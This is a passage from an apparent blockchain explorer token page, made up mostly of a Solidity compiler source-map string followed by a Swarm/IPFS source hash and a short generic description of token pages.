;1686:18;1723:2;1719;1716:10;1713:36;;;1729:18;;:::i;:::-;1804:2;1798:9;1772:2;1858:13;;-1:-1:-1;;1854:22:1;;;1878:2;1850:31;1846:40;1834:53;;;1902:18;;;1922:22;;;1899:46;1896:72;;;1948:18;;:::i;:::-;1988:10;1984:2;1977:22;2023:2;2015:6;2008:18;2069:3;2062:4;2057:2;2049:6;2045:15;2041:26;2038:35;2035:55;;;2086:1;2083;2076:12;2035:55;2150:2;2143:4;2135:6;2131:17;2124:4;2116:6;2112:17;2099:54;2197:1;2190:4;2185:2;2177:6;2173:15;2169:26;2162:37;2217:6;2208:15;;;;;;1510:719;;;;:::o;2234:543::-;2322:6;2330;2383:2;2371:9;2362:7;2358:23;2354:32;2351:52;;;2399:1;2396;2389:12;2351:52;2439:9;2426:23;2468:18;2509:2;2501:6;2498:14;2495:34;;;2525:1;2522;2515:12;2495:34;2548:50;2590:7;2581:6;2570:9;2566:22;2548:50;:::i;:::-;2538:60;;2651:2;2640:9;2636:18;2623:32;2607:48;;2680:2;2670:8;2667:16;2664:36;;;2696:1;2693;2686:12;2664:36;;2719:52;2763:7;2752:8;2741:9;2737:24;2719:52;:::i;:::-;2709:62;;;2234:543;;;;;:::o;2782:328::-;2859:6;2867;2875;2928:2;2916:9;2907:7;2903:23;2899:32;2896:52;;;2944:1;2941;2934:12;2896:52;2967:29;2986:9;2967:29;:::i;:::-;2957:39;;3015:38;3049:2;3038:9;3034:18;3015:38;:::i;:::-;3005:48;;3100:2;3089:9;3085:18;3072:32;3062:42;;2782:328;;;;;:::o;3304:272::-;3362:6;3415:2;3403:9;3394:7;3390:23;3386:32;3383:52;;;3431:1;3428;3421:12;3383:52;3470:9;3457:23;3520:6;3513:5;3509:18;3502:5;3499:29;3489:57;;3542:1;3539;3532:12;3789:347;3854:6;3862;3915:2;3903:9;3894:7;3890:23;3886:32;3883:52;;;3931:1;3928;3921:12;3883:52;3954:29;3973:9;3954:29;:::i;:::-;3944:39;;4033:2;4022:9;4018:18;4005:32;4080:5;4073:13;4066:21;4059:5;4056:32;4046:60;;4102:1;4099;4092:12;4046:60;4125:5;4115:15;;;3789:347;;;;;:::o;4141:186::-;4200:6;4253:2;4241:9;4232:7;4228:23;4224:32;4221:52;;;4269:1;4266;4259:12;4221:52;4292:29;4311:9;4292:29;:::i;4332:260::-;4400:6;4408;4461:2;4449:9;4440:7;4436:23;4432:32;4429:52;;;4477:1;4474;4467:12;4429:52;4500:29;4519:9;4500:29;:::i;:::-;4490:39;;4548:38;4582:2;4571:9;4567:18;4548:38;:::i;:::-;4538:48;;4332:260;;;;;:::o;4597:380::-;4676:1;4672:12;;;;4719;;;4740:61;;4794:4;4786:6;4782:17;4772:27;;4740:61;4847:2;4839:6;4836:14;4816:18;4813:38;4810:161;;4893:10;4888:3;4884:20;4881:1;4874:31;4928:4;4925:1;4918:15;4956:4;4953:1;4946:15;4810:161;;4597:380;;;:::o;4982:398::-;5184:2;5166:21;;;5223:2;5203:18;;;5196:30;5262:34;5257:2;5242:18;;5235:62;-1:-1:-1;;;5328:2:1;5313:18;;5306:32;5370:3;5355:19;;4982:398::o;5794:127::-;5855:10;5850:3;5846:20;5843:1;5836:31;5886:4;5883:1;5876:15;5910:4;5907:1;5900:15;5926:128;5993:9;;;6014:11;;;6011:37;;;6028:18;;:::i;6059:168::-;6132:9;;;6163;;6180:15;;;6174:22;;6160:37;6150:71;;6201:18;;:::i;6232:127::-;6293:10;6288:3;6284:20;6281:1;6274:31;6324:4;6321:1;6314:15;6348:4;6345:1;6338:15;6364:217;6404:1;6430;6420:132;;6474:10;6469:3;6465:20;6462:1;6455:31;6509:4;6506:1;6499:15;6537:4;6534:1;6527:15;6420:132;-1:-1:-1;6566:9:1;;6364:217::o;7520:545::-;7622:2;7617:3;7614:11;7611:448;;;7658:1;7683:5;7679:2;7672:17;7728:4;7724:2;7714:19;7798:2;7786:10;7782:19;7779:1;7775:27;7769:4;7765:38;7834:4;7822:10;7819:20;7816:47;;;-1:-1:-1;7857:4:1;7816:47;7912:2;7907:3;7903:12;7900:1;7896:20;7890:4;7886:31;7876:41;;7967:82;7985:2;7978:5;7975:13;7967:82;;;8030:17;;;8011:1;8000:13;7967:82;;8241:1352;8367:3;8361:10;8394:18;8386:6;8383:30;8380:56;;;8416:18;;:::i;:::-;8445:97;8535:6;8495:38;8527:4;8521:11;8495:38;:::i;:::-;8489:4;8445:97;:::i;:::-;8597:4;;8661:2;8650:14;;8678:1;8673:663;;;;9380:1;9397:6;9394:89;;;-1:-1:-1;9449:19:1;;;9443:26;9394:89;-1:-1:-1;;8198:1:1;8194:11;;;8190:24;8186:29;8176:40;8222:1;8218:11;;;8173:57;9496:81;;8643:944;;8673:663;7467:1;7460:14;;;7504:4;7491:18;;-1:-1:-1;;8709:20:1;;;8827:236;8841:7;8838:1;8835:14;8827:236;;;8930:19;;;8924:26;8909:42;;9022:27;;;;8990:1;8978:14;;;;8857:19;;8827:236;;;8831:3;9091:6;9082:7;9079:19;9076:201;;;9152:19;;;9146:26;-1:-1:-1;;9235:1:1;9231:14;;;9247:3;9227:24;9223:37;9219:42;9204:58;9189:74;;9076:201;-1:-1:-1;;;;;9323:1:1;9307:14;;;9303:22;9290:36;;-1:-1:-1;8241:1352:1:o;11173:125::-;11238:9;;;11259:10;;;11256:36;;;11272:18;;:::i

Swarm Source

ipfs://040a79755d4a4292bee5d9735eee5e7f2bebcd9f8cb351ba593102980a90b0f9
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.